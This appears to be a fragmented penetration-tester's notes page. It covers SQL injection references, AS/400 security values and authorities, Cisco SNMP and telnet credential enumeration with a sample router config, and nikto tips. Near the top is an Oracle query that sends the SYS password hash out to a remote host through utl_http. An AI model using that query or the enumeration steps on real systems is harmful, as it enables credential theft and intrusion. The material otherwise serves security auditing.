Information Security & US & Life & Love & Fashion & Hacking & Passion

http://pipl.com/search/?FirstName=????&LastName=????&City=&State=&Country=UK&CategoryID=2&Interface=1

SQL> select utl_http.request('http://gladius:5500/'||(SELECT PASSWORD FROM DBA_USERS WHERE USERNAME='SYS')) from dual;

http://ha.ckers.org/sqlinjection

http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/

http://www.0x000000.com/?i=14

http://pentestmonkey.net/ 

Search through all files for the command "xhost +" or "/usr/bin/X11/xhost +"

Do not verify signatures on restore, allowing such a command

or program represents an integrity risk to your system

This restricts the number of times a user can incorrectly attempt

to sign-on to the system before being disabled. 

The action taken by the system when this number is exceeded

is determined by the preceding parameter

Number of days before expiration interval exceeds the recommended, this

compromises the password security on your system

Recommended value is 1

This prevents passwords from being reused for (returned value) generations for a user ID. 

Recommended value is 5 ( 6 is a must)

This forces passwords to a minimum length of (returned value) alphanumeric characters.

Recommended value is 10

This limits the length of a password to (returned value) alphanumeric characters. 

*PGMR ---> Programmer

*SECADM ---> Security Administrator

*SECOFR ---> Security Officer

*SYSOPR --->System Operator

*USER ---> User

*AUDLVL System auditing : System auditing events logged and may be audited

*OBJAUD Object auditing : Object auditing activity defined logged and may be audited

*AUTFAIL Authorized failure:All access failure,Incorrect Password or User ID logged and may be audited

*PGMFAIL System integrity violation : Blocked instructions,Validation failure,Domain violation logged and may be audited

*JOBDTA Job tasks : Job start and stop data(disconnect,prestart) logged and may be audited

*NETCMN Communication & Networking tasks :Action that occur for APPN filtering support logged and may be audited

*SAVRST Object restore: Restore(PGM,JOBD,Authority,CMD,System State) logged and may be audited

*SECURITY Security tasks:All security related functions(CRT/CHG/DLT/RST) logged and may be audited

*SERVICE Services HW/SW: Actions for performing HW or SW services logged and may be audited

*SYSMGT System management: Registration,Network,DRDA,SysReplay,Operational not logged and cannot be audited

*CREATE Object creation:Newly created objects, Replace exisitng objects logged and may be audited

*DELETE Object deletion: All deletion of external objects logged and may be audited

*OFCSRV Office tasks: Office tasks(system distribution directory,Mail) logged and may be audited

*OPTICAL Optical tasks:Optical tasks(add/remove optical cartridge,Autho) logged and may be audited

*PGMADP Program authority adoption: Program adopted authority, gain access to an object logged and may be audited

*OBJMGT Object management:Object management logged and may be audited

*SPLFDTA Spool management:Spool management logged and may be audited

All-Object Authority (*ALLOBJ) : This is the most powerful authority on any AS400 system. This authority grants the user complete access to everything on the system. A user with All-Object Authority cannot be controlled.

Service Authority (*SERVICE) : Service Authority provides the user with the ability to change system hardware and disk configurations, to sniff network traffic and to put programs into debug mode (troubleshooting mode) and see their internal workings. The system services tools include the ability to trace systems functions and to patch and alter user made and IBM delivered programs on disk

manipulate data on disk.

Save and Restore Authority (*SAVSYS) : This authority allows the user to backup and restore objects. The user need not have authority to those objects. The risk with SAVSYS Authority is that a user with this authority can save all objects (including the most sensitive files) to disk (save file), delete any object (with the Free Storage option), restore the file to an alternate library, and then view and alter the information. Should the user alter the information, they would have the ability to replace the production object with

their saved version.

System Configuration Authority (*IOSYSCFG) : System communication configuration authority can also be used to set up nearly invisible access from the outside as a security officer -- without needing a password. System Configuration Authority provides the ability to configure and change communication configurations (e.g. lines, controllers, devices), including the system's TCP/IP and Internet connection information.

Spool Control Authority (*SPLCTL) : Spool Control authority gives the user read and modify all spooled objects (reports, job queue entries, etc.) on your system. The user may hold, release and clear job and output queues, even if they are not authorized to those queues.

Security Administrator Authority (*SECADM) : Security Administrator grants the authority to create, change and delete user ID’s. This authority should be reserved to essential administration personnel only.

Job Control Authority (*JOBCTL) : Job Control Authority can be used to power down the system or toterminate subsystems or individual jobs at any time, even during critical operational periods. Job Control Authority provides the capability to control other user’s jobs as well as their spooled files and printers.

Audit Authority (*AUDIT) : Audit Authority puts a user in control of the system auditing functions. Such a user can manipulate the system values that control auditing and control user and object auditing. These users could also turn off auditing for sensitive objects in an effort to obscure certain actions

UDP Port scan - nmap -sV -O -v -p 161,162 <IP> -oN UDP.version.txt

 Cain & Abel -Cisco Configuration Download/Upload (CCDU)  With this tool the RW community string and the version of SNMP in use and running-config file can be downloaded to your local system. 

Telnet Access. If telnet is configured on the VTY (Virtual TTY) interface, then the credentials will be in the config file: line vty 0 4 password telnet login

SNMP Settings. If the target router is configured to use SNMP, then the SNMP community strings will be in the config file.  It should have the read-only (RO) and may have the read-write (RW) strings: snmp-server community Cisco RO snmp-server community enable RW

version 12.2
service config
service timestamps debug datetime msec
service timestamps log datetime msec
no service password-encryption
!
hostname vapt-router
!
logging queue-limit 100
enable secret 5 $1$c2He$GWSkN1va8NJd2icna9TDA.
enable password router
!
memory-size iomem 10
ip subnet-zero
no ip routing
!

ip audit notify log
ip audit po max-events 100
!
no voice hpi capture buffer
no voice hpi capture destination 
!
mta receive maximum-recipients 0

!
interface Ethernet0/0
 ip address 10.1.1.175 255.255.255.0
 no ip route-cache
 no ip mroute-cache
 half-duplex
!
interface Serial0/0
 no ip address
 no ip route-cache
 no ip mroute-cache
 shutdown
!
ip http server
no ip http secure-server
ip classless
!

snmp-server community Cisco RO
snmp-server community enable RW
snmp-server enable traps tty
call rsvp-sync
!
mgcp profile default
!
dial-peer cor custom
!
line con 0
line aux 0
line vty 0 4
password telnet
login
!
end

Note: - It is possible to grep all Citrix/ NFuse/ NetScaler vulnerabilities currently housed in the nikto db and create your own db_tests file replacing the local version in nikto\plugins directory should you wish to specifically limit your enumeration to Citrix vulnerabilties. As of 1 Oct 09, there are currently 9 specific tests meeting these requirements.

Note: - AT by default runs as system and although enabled for a normal user, will only work with these privileges for an admin, however, still worth a try.

Vulnerabilties and exploit information relating to these products can be found here: